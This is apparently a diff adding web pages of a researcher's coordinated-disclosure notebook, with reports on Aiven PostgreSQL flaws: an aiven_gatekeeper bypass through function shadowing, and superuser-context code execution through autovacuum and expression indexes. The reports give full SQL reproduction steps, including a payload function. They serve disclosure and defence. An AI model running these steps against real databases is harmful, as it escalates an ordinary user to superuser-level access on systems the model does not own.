| + | <li>Creating an expression index on a table using the shadow function</li> | |
| + | <li>Inserting/updating enough rows to trigger autovacuum ANALYZE</li> | |
| + | <li>When autovacuum evaluates the expression index statistics, it calls the shadow function with <code>session_user=postgres</code></li> | |
| + | </ol> | |
| + | <p>The shadow function can call <code>aiven_extras.pg_alter_subscription_refresh_publication()</code> (SECURITY DEFINER, owner=postgres), which establishes an <strong>unrestricted superuser dblink session</strong> to localhost, confirmed NOT subject to <code>SECURITY_RESTRICTED_OPERATION</code> enforcement.</p> | |
| + | <h2>Root Cause</h2> | |
| + | <p>Three independent issues combine:</p> | |
| + | <ol> | |
| + | <li> | |
| + | <p><strong>aiven_gatekeeper bypass</strong>: Allows creation of <code>public.sha256(text)</code> which shadows <code>pg_catalog.sha256(bytea)</code> via implicit cast resolution (see related report)</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>Expression index evaluation in autovacuum</strong>: PostgreSQL’s ANALYZE evaluates expression index functions for statistics computation, running them in the autovacuum worker context (<code>session_user=postgres</code>)</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>SECDEF dblink chain not restricted</strong>: The <code>pg_alter_subscription_refresh_publication()</code> SECURITY DEFINER function establishes a superuser dblink to localhost that is NOT subject to <code>SECURITY_RESTRICTED_OPERATION</code> (confirmed: the dblink session is a new connection)</p> | |
| + | </li> | |
| + | </ol> | |
| + | <h2>Steps to Reproduce</h2> | |
| + | <h3>Step 1: Create shadow function</h3> | |
| + | <pre><code class="language-sql">CREATE OR REPLACE FUNCTION public.sha256(input text) RETURNS bytea AS $$ | |
| + | BEGIN | |
| + | RAISE WARNING 'AUTOVAC_SHADOW: cu=% su=%', current_user, session_user; | |
| + | RETURN pg_catalog.sha256(input::bytea); | |
| + | END; | |
| + | $$ LANGUAGE plpgsql IMMUTABLE; | |
| + | </code></pre> | |
| + | <h3>Step 2: Create table with expression index</h3> | |
| + | <pre><code class="language-sql">CREATE TABLE bait(id serial, val text); | |
| + | ||
| + | -- Use fast noop for bulk insert | |
| + | CREATE OR REPLACE FUNCTION public.sha256(input text) RETURNS bytea AS $$ | |
| + | BEGIN RETURN pg_catalog.sha256(input::bytea); END; | |
| + | $$ LANGUAGE plpgsql IMMUTABLE; | |
| + | ||
| + | INSERT INTO bait(val) SELECT 'row_' || generate_series(1, 10000); | |
| + | CREATE INDEX idx_bait ON bait ((public.sha256(val))); | |
| + | ||
| + | -- Swap to payload | |
| + | CREATE OR REPLACE FUNCTION public.sha256(input text) RETURNS bytea AS $$ | |
| + | BEGIN | |
| + | -- This executes as session_user=postgres when called by autovacuum | |
| + | PERFORM aiven_extras.pg_alter_subscription_refresh_publication('sub_name', false); | |
| + | RAISE WARNING 'SECDEF_FROM_AUTOVAC: cu=% su=%', current_user, session_user; | |
| + | RETURN pg_catalog.sha256(input::bytea); | |
| + | EXCEPTION WHEN OTHERS THEN | |
| + | RAISE WARNING 'AUTOVAC_ERR: % cu=% su=%', SQLSTATE, current_user, session_user; | |
| + | RETURN pg_catalog.sha256(input::bytea); | |
| + | END; | |
| + | $$ LANGUAGE plpgsql IMMUTABLE; | |
| + | </code></pre> | |
| + | <h3>Step 3: Trigger autovacuum</h3> | |
| + | <pre><code class="language-sql">UPDATE bait SET val = 'trigger_' || val; | |
| + | -- Wait 60-90 seconds for autovacuum ANALYZE | |
| + | </code></pre> | |
| + | <h3>Step 4: Observe in API logs</h3> | |
| + | <pre><code>pid=62303,user=,db=,app=,client= WARNING: SECDEF_AV: OK cu=avnadmin su=postgres | |
| + | </code></pre> | |
| + | <p>The autovacuum background worker (no user/db in log = background worker, <code>su=postgres</code>) calls our shadow function, which successfully invokes the SECDEF dblink chain.</p> | |
| + | <h2>Evidence</h2> | |
| + | <h3>Autovacuum calling shadow function (from Aiven API logs):</h3> | |
| + | <pre><code>2026-04-14T01:42:35Z pid=62303,user=,db=,app=,client= | |
| + | WARNING: SECDEF_AV: OK cu=avnadmin su=postgres | |
| + | </code></pre> | |
| + | <h3>SECDEF dblink succeeds from autovacuum context:</h3> | |
| + | <p>The <code>pg_alter_subscription_refresh_publication()</code> call succeeds (returns without error), confirming the SECURITY DEFINER dblink chain establishes an unrestricted superuser connection to localhost from within the autovacuum context.</p> | |
| + | <h3>Error comparison across contexts:</h3> | |
| + | <table> | |
| + | <thead> | |
| + | <tr> | |
| + | <th>Context</th> | |
| + | <th>session_user</th> | |
| + | <th>COPY TO FILE</th> | |
| + | <th>GRANT role</th> | |
| + | <th>SECDEF refresh</th> | |
| + | </tr> | |
| + | </thead> | |
| + | <tbody> | |
| + | <tr> | |
| + | <td>Normal avnadmin</td> | |
| + | <td>avnadmin</td> | |
| + | <td>permission denied</td> | |
| + | <td>permission denied</td> | |
| + | <td>OK</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>Apply worker</td> | |
| + | <td>postgres</td> | |
| + | <td>SECURITY_RESTRICTED</td> | |
| + | <td>SECURITY_RESTRICTED</td> | |
| + | <td>OK</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><strong>Autovacuum</strong></td> | |
| + | <td><strong>postgres</strong></td> | |
| + | <td><strong>not allowed in non-volatile</strong></td> | |
| + | <td><strong>not allowed in non-volatile</strong></td> | |
| + | <td><strong>OK</strong></td> | |
| + | </tr> | |
| + | </tbody> | |
| + | </table> | |
| + | <p>The SECDEF refresh succeeds in ALL contexts, confirming the unrestricted superuser dblink chain is customer-triggerable from autovacuum.</p> | |
| + | <h2>Impact</h2> | |
| + | <ol> | |
| + | <li><strong>Superuser code execution</strong>: Any authenticated database user can execute code in the autovacuum superuser context automatically, without any user interaction</li> | |
| + | <li><strong>Unrestricted dblink session</strong>: The SECDEF chain from autovacuum achieves a superuser database connection that is NOT subject to SECURITY_RESTRICTED_OPERATION</li> | |
| + | <li><strong>Automatic trigger</strong>: No manual intervention needed, autovacuum runs automatically based on table statistics thresholds (default: 50 + 10% of rows)</li> | |
| + | <li><strong>Persistent</strong>: The expression index survives restarts; autovacuum will call the shadow function on every ANALYZE cycle</li> | |
| + | <li><strong>Stealth</strong>: Autovacuum log entries don’t show the attacker’s username (background worker context)</li> | |
| + | </ol> | |
| + | <h2>Recommended Fix</h2> | |
| + | <ol> | |
| + | <li><strong>Fix aiven_gatekeeper</strong>: Block shadow functions with implicitly castable argument types (see related report)</li> | |
| + | <li><strong>Autovacuum ANALYZE should use SECURITY_RESTRICTED</strong>: Expression index evaluation during ANALYZE should set the security-restricted flag, similar to how it’s set for logical replication apply workers</li> | |
| + | <li><strong>Expression index functions should be evaluated as the table owner</strong>: Not as the autovacuum superuser process</li> | |
| + | </ol> | |
| + | <h2>Cleanup</h2> | |
| + | <pre><code class="language-sql">DROP INDEX idx_bait; | |
| + | DROP TABLE bait; | |
| + | DROP FUNCTION public.sha256(text); | |
| + | </code></pre> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/aiven/pg-autovacuum-code-execution.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,258 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Report: aiven_gatekeeper Bypass via Implicitly Castable Argument Types | Zion Boggan</title> | |
| + | <meta name="description" content="`aiven_gatekeeper` extension bypassed via implicit-cast-driven shadow functions."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/pg-gatekeeper-bypass-shadow-functions/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Report: aiven_gatekeeper Bypass via Implicitly Castable Argument Types | Zion Boggan"> | |
| + | <meta property="og:description" content="`aiven_gatekeeper` extension bypassed via implicit-cast-driven shadow functions."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/pg-gatekeeper-bypass-shadow-functions/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Report: aiven_gatekeeper Bypass via Implicitly Castable Argument Types | Zion Boggan"> | |
| + | <meta name="twitter:description" content="`aiven_gatekeeper` extension bypassed via implicit-cast-driven shadow functions."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Report: aiven_gatekeeper Bypass via Implicitly Castable Argument Types","description":"`aiven_gatekeeper` extension bypassed via implicit-cast-driven shadow functions.","url":"https://zionboggan.com/security-research-notebook/pg-gatekeeper-bypass-shadow-functions/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">Sandbox bypass</div> | |
| + | <h1>Report: aiven_gatekeeper Bypass via Implicitly Castable Argument Types</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <h2>Metadata</h2> | |
| + | <ul> | |
| + | <li><strong>Target</strong>: Aiven for PostgreSQL (Tier 2)</li> | |
| + | <li><strong>Target Location</strong>: Aiven for PostgreSQL</li> | |
| + | <li><strong>Target Category</strong>: Other</li> | |
| + | <li><strong>VRT</strong>: Server Security Misconfiguration > Database Management System (DBMS) Misconfiguration > Excessively Privileged User / DBA</li> | |
| + | <li><strong>Priority</strong>: P2 (Suggested)</li> | |
| + | </ul> | |
| + | <hr /> | |
| + | <h2>Title</h2> | |
| + | <p>aiven_gatekeeper Fails to Prevent pghostile-Style Function Shadowing When Shadow Uses Implicitly Castable Argument Types</p> | |
| + | <h2>Summary</h2> | |
| + | <p>The <code>aiven_gatekeeper</code> shared library (Aiven’s PostgreSQL security agent) is designed to prevent privilege escalation attacks where unprivileged users create shadow functions in the <code>public</code> schema that override <code>pg_catalog</code> system functions. However, <code>aiven_gatekeeper</code> only blocks shadow functions with <strong>identical</strong> argument signatures. It fails to block shadow functions with <strong>different but implicitly castable</strong> argument types.</p> | |
| + | <p>For example, <code>pg_catalog.sha256(bytea)</code> is protected, creating <code>public.sha256(bytea)</code> is blocked. But creating <code>public.sha256(text)</code> is <strong>allowed</strong>, and this shadow function is called INSTEAD of the pg_catalog version when a user calls <code>sha256('string_literal')</code>, because PostgreSQL’s function resolution prefers <code>text→text</code> (exact match) over <code>text→bytea</code> (implicit cast).</p> | |
| + | <p>Aiven’s own tool <code>pghostile</code> (https://github.com/Aiven-Open/pghostile) identifies ~907 exploitable function overrides using this technique. The gatekeeper was designed to prevent exactly this class of attack but fails for cross-type shadows.</p> | |
| + | <h2>Steps to Reproduce</h2> | |
| + | <h3>Step 1: Create shadow function with different argument type</h3> | |
| + | <pre><code class="language-sql">CREATE OR REPLACE FUNCTION public.sha256(text) RETURNS bytea AS $$ | |
| + | BEGIN | |
| + | RAISE WARNING 'SHADOW FIRED: cu=% su=%', current_user, session_user; | |
| + | RETURN pg_catalog.sha256($1::bytea); | |
| + | END; | |
| + | $$ LANGUAGE plpgsql; | |
| + | </code></pre> | |
| + | <h3>Step 2: Verify the shadow fires</h3> | |
| + | <pre><code class="language-sql">SELECT sha256('test'); | |
| + | -- WARNING: SHADOW FIRED: cu=avnadmin su=avnadmin | |
| + | </code></pre> | |
| + | <p>The shadow function in <code>public</code> is called instead of <code>pg_catalog.sha256(bytea)</code> because <code>sha256(text)</code> is a better match when the argument is a text literal.</p> | |
| + | <h3>Step 3: Verify gatekeeper would block identical signature</h3> | |
| + | <pre><code class="language-sql">-- This WOULD be blocked by gatekeeper (if attempted via pghostile): | |
| + | -- CREATE FUNCTION public.sha256(bytea) ... | |
| + | -- But our text-argument version bypasses the check entirely. | |
| + | </code></pre> | |
| + | <h2>Impact</h2> | |
| + | <ol> | |
| + | <li> | |
| + | <p><strong>Defeats pghostile protection</strong>: <code>aiven_gatekeeper</code> was specifically built to prevent the attack class that <code>pghostile</code> exploits. The implicit cast bypass renders this protection incomplete.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>Superuser code execution via autovacuum</strong>: When combined with expression indexes, the shadow function executes in the autovacuum worker context with <code>session_user=postgres</code> (see related report: Autovacuum Code Execution).</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>Broad attack surface</strong>: pghostile identifies ~907 exploitable functions. Many of these have variants with different-but-castable argument types that bypass gatekeeper.</p> | |
| + | </li> | |
| + | </ol> | |
| + | <h2>Recommended Fix</h2> | |
| + | <p>Extend <code>aiven_gatekeeper</code> to block function creation in <code>public</code> (and other user-accessible schemas) when the function name matches ANY <code>pg_catalog</code> function, regardless of argument types. Alternatively, block functions whose names match pg_catalog functions when the argument types are implicitly castable to the pg_catalog version’s argument types.</p> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/aiven/pg-gatekeeper-bypass-shadow-functions.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,374 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Report: Superuser Database Connection via SECURITY DEFINER dblink Chain | Zion Boggan</title> | |
| + | <meta name="description" content="SECURITY DEFINER + dblink loopback chain reaches an unrestricted superuser session."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
